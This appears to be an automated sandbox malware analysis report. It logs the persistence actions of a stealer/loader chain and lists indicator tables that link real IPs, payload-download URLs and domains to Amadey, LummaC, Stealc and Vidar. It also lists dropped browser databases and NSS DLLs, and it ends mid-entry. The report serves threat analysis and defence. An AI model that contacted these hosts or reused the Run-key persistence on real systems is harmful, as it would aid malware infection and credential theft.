05:22:30	API Interceptor	94x Sleep call for process: 22a4a09ee3.exe modified
05:22:48	API Interceptor	168x Sleep call for process: 150f368769.exe modified
05:22:50	API Interceptor	210x Sleep call for process: 8c3bfc0f85.exe modified
10:21:03	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
10:22:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 22a4a09ee3.exe C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe
10:22:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8c3bfc0f85.exe C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
10:22:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9108c36d20.exe C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe
10:22:56	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 99fdcf0a11.exe C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe
10:23:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 22a4a09ee3.exe C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe
10:23:13	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8c3bfc0f85.exe C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
10:23:21	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9108c36d20.exe C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
home.fvtekk5pn.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	n5QCsKJ0CP.exe	Get hash	malicious	RedLine	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63
	1732341065aa3050236bf0a757080986a42d53699fd38d78c31f65f12b4934c9236ce70a12688.dat-decoded.exe	Get hash	malicious	XenoRAT	Browse	13.107.246.63
	17323410673807b67d8bb6f66f1d676167634fbe15d4743d1d486ea52ce68855c1615ccc44621.dat-decoded.exe	Get hash	malicious	Remcos	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.63
property-imper.sbs	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	Script.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	b.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	loader.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.44.93
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	n5QCsKJ0CP.exe	Get hash	malicious	RedLine	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 23.218.208.109 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.63 23.218.208.109 20.12.23.50
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	b.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKFHDBFIDAECAAAKEGDA

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAAFCAFC

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGDGHJEHJJDAAAKEBGCFCAAAAE

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCBAECGI

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJJJJDHIDBGHIDHIDAFB

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKKEBKJJDGHCBGCAAKEHDBAEGH

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\99fdcf0a11.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.352534478424368
Encrypted:	false
SSDEEP:	48:SfNaoQRTEQxfNaoQMQAFfNaoQRQCfNaoQc0UrU0U8Qh:6NnQRTEQNNnQMQ4NnQRQqNnQc0UrU0UJ
MD5:	844CB8FA109442BE498DBCC6DA039CDF
